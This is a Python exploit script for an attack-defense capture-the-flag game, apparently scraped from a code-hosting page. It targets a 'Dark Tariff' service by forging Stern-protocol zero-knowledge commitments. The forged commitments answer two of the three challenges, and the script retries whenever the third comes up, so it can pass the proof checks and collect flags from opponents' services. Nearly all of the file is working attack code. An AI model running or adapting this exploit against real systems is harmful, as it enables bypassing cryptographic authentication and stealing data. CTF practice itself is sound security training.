222 lines
7.6 KiB
Python
222 lines
7.6 KiB
Python
#!/usr/bin/env python3
|
|
"""Dark Tariff ZKP exploit for the authorized MCTF network.
|
|
|
|
The service commits to three hashes before choosing a Stern-protocol
|
|
challenge. With public H and y, a commitment can answer challenges 0 and 1;
|
|
when challenge 2 is selected the session is deliberately failed and retried.
|
|
This is intended for the vulnerable opponent service in the CTF only.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import base64
|
|
import hashlib
|
|
import json
|
|
import re
|
|
import secrets
|
|
import sys
|
|
from typing import Any
|
|
|
|
import requests
|
|
|
|
|
|
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
|
|
PORT = 8080
|
|
TIMEOUT = 4
|
|
MAX_ATTEMPTS = 100
|
|
|
|
|
|
def log(message: str) -> None:
|
|
print(message, file=sys.stderr, flush=True)
|
|
|
|
|
|
def bits(value: int, width: int) -> str:
|
|
return format(value, f"0{width}b")
|
|
|
|
|
|
def parse_parameters(encoded: str) -> tuple[list[int], str, int]:
|
|
raw = base64.b64decode(encoded).decode("ascii")
|
|
n_text, matrix_hex, y_text, _weight = raw.split("|", 3)
|
|
width = int(n_text)
|
|
matrix = bytes.fromhex(matrix_hex)
|
|
row_bytes = width // 8
|
|
if width % 8 or len(matrix) % row_bytes:
|
|
raise ValueError("malformed public matrix")
|
|
rows = [int.from_bytes(matrix[i : i + row_bytes], "big")
|
|
for i in range(0, len(matrix), row_bytes)]
|
|
if not rows or len(rows) != len(y_text):
|
|
raise ValueError("matrix/vector dimensions do not match")
|
|
return rows, y_text, width
|
|
|
|
|
|
def dot(rows: list[int], vector: int) -> str:
|
|
return "".join(str((row & vector).bit_count() & 1) for row in rows)
|
|
|
|
|
|
def permute(vector: int, width: int, order: list[int]) -> str:
|
|
text = bits(vector, width)
|
|
return "".join(text[index] for index in order)
|
|
|
|
|
|
def solve(rows: list[int], target: str, width: int) -> int:
|
|
"""Find any x such that H*x=target over GF(2)."""
|
|
equations: list[int] = []
|
|
for row, rhs in zip(rows, target):
|
|
# Protocol bit 0 is the leftmost bit; reverse into Python bit order.
|
|
coefficients = int(format(row, f"0{width}b")[::-1], 2)
|
|
equations.append(coefficients | (int(rhs) << width))
|
|
|
|
pivots: list[tuple[int, int]] = []
|
|
cursor = 0
|
|
for column in range(width):
|
|
pivot = next((i for i in range(cursor, len(equations))
|
|
if equations[i] & (1 << column)), None)
|
|
if pivot is None:
|
|
continue
|
|
equations[cursor], equations[pivot] = equations[pivot], equations[cursor]
|
|
pivot_row = equations[cursor]
|
|
for i in range(cursor + 1, len(equations)):
|
|
if equations[i] & (1 << column):
|
|
equations[i] ^= pivot_row
|
|
pivots.append((cursor, column))
|
|
cursor += 1
|
|
if cursor == len(equations):
|
|
break
|
|
|
|
mask = (1 << width) - 1
|
|
if any((equation & mask) == 0 and ((equation >> width) & 1)
|
|
for equation in equations):
|
|
raise ValueError("public parameters are inconsistent")
|
|
|
|
solution = 0
|
|
for row_index, column in reversed(pivots):
|
|
equation = equations[row_index]
|
|
rhs = (equation >> width) & 1
|
|
other = equation & mask & ~(1 << column)
|
|
if rhs ^ ((other & solution).bit_count() & 1):
|
|
solution |= 1 << column
|
|
return int(format(solution, f"0{width}b")[::-1], 2)
|
|
|
|
|
|
def request_json(response: requests.Response) -> Any:
|
|
try:
|
|
data = response.json()
|
|
except ValueError:
|
|
response.raise_for_status()
|
|
raise RuntimeError(f"non-JSON response ({response.status_code})")
|
|
if not response.ok:
|
|
raise RuntimeError(f"HTTP {response.status_code}: {data}")
|
|
return data
|
|
|
|
|
|
def flags_in(value: Any) -> set[str]:
|
|
return set(FLAG_RE.findall(json.dumps(value, ensure_ascii=False)))
|
|
|
|
|
|
def get_readings(session: requests.Session, base: str) -> list[dict[str, Any]]:
|
|
data = request_json(session.get(f"{base}/api/readings", timeout=TIMEOUT))
|
|
if not isinstance(data, list):
|
|
raise RuntimeError("/api/readings did not return a list")
|
|
readings = [item for item in data
|
|
if isinstance(item, dict) and item.get("id") and item.get("parameters")]
|
|
if not readings:
|
|
raise RuntimeError("target has no fresh readings")
|
|
return readings
|
|
|
|
|
|
def commit_hash(prefix: str, payload: str) -> str:
|
|
return hashlib.sha256(f"{prefix}|{payload}".encode("ascii")).hexdigest()
|
|
|
|
|
|
def exploit_reading(session: requests.Session, base: str,
|
|
reading: dict[str, Any]) -> set[str]:
|
|
rows, y_text, width = parse_parameters(str(reading["parameters"]))
|
|
reading_id = int(reading["id"])
|
|
rng = secrets.SystemRandom()
|
|
found = flags_in(reading)
|
|
|
|
for attempt in range(1, MAX_ATTEMPTS + 1):
|
|
vector0 = secrets.randbits(width)
|
|
order = list(range(width))
|
|
rng.shuffle(order)
|
|
hv = dot(rows, vector0)
|
|
target = "".join(str(int(a) ^ int(b)) for a, b in zip(hv, y_text))
|
|
vector1 = solve(rows, target, width)
|
|
values = [
|
|
commit_hash("a", ",".join(map(str, order)) + "|" + hv),
|
|
commit_hash("b", permute(vector0, width, order)),
|
|
commit_hash("c", permute(vector1, width, order)),
|
|
]
|
|
|
|
start = request_json(session.post(
|
|
f"{base}/api/chat/checks", json={"reading_id": reading_id}, timeout=TIMEOUT))
|
|
check_id = start["id"]
|
|
round_no = int(start.get("round", 1))
|
|
|
|
while True:
|
|
commit = request_json(session.post(
|
|
f"{base}/api/chat/checks/{check_id}/commit",
|
|
json={"round": round_no, "values": values}, timeout=TIMEOUT))
|
|
challenge = int(commit["challenge"])
|
|
if challenge == 0:
|
|
answer = {"v": bits(vector0, width), "p": order}
|
|
elif challenge == 1:
|
|
answer = {"v": bits(vector1, width), "p": order}
|
|
else:
|
|
# A failed answer deletes the session; then use fresh commits.
|
|
try:
|
|
session.post(
|
|
f"{base}/api/chat/checks/{check_id}/answer",
|
|
json={"round": round_no,
|
|
"data": {"v": "0" * width, "t": "0" * width}},
|
|
timeout=TIMEOUT,
|
|
)
|
|
finally:
|
|
log(f"attempt {attempt}: challenge 2, restarting")
|
|
break
|
|
|
|
result = request_json(session.post(
|
|
f"{base}/api/chat/checks/{check_id}/answer",
|
|
json={"round": round_no, "data": answer}, timeout=TIMEOUT))
|
|
found.update(flags_in(result))
|
|
if result.get("stage") == "done":
|
|
return found
|
|
if result.get("stage") != "commit":
|
|
break
|
|
round_no = int(result["round"])
|
|
return found
|
|
|
|
|
|
def run(target: str) -> None:
|
|
session = requests.Session()
|
|
session.trust_env = False
|
|
base = f"http://{target}:{PORT}"
|
|
session.headers["Accept"] = "application/json"
|
|
found: set[str] = set()
|
|
for reading in get_readings(session, base)[:3]:
|
|
try:
|
|
found.update(exploit_reading(session, base, reading))
|
|
except (KeyError, ValueError, RuntimeError, requests.RequestException) as exc:
|
|
log(f"target={target} reading={reading.get('id')} error={exc}")
|
|
if found:
|
|
print("\n".join(sorted(found)))
|
|
else:
|
|
log(f"target={target} no flags matched; target may be patched")
|
|
|
|
|
|
def main() -> int:
|
|
if len(sys.argv) != 2:
|
|
log(f"usage: {sys.argv[0]} TARGET")
|
|
return 2
|
|
try:
|
|
run(sys.argv[1])
|
|
except (KeyError, ValueError, RuntimeError,
|
|
requests.RequestException, json.JSONDecodeError) as exc:
|
|
log(f"target={sys.argv[1]} error={exc}")
|
|
return 1
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|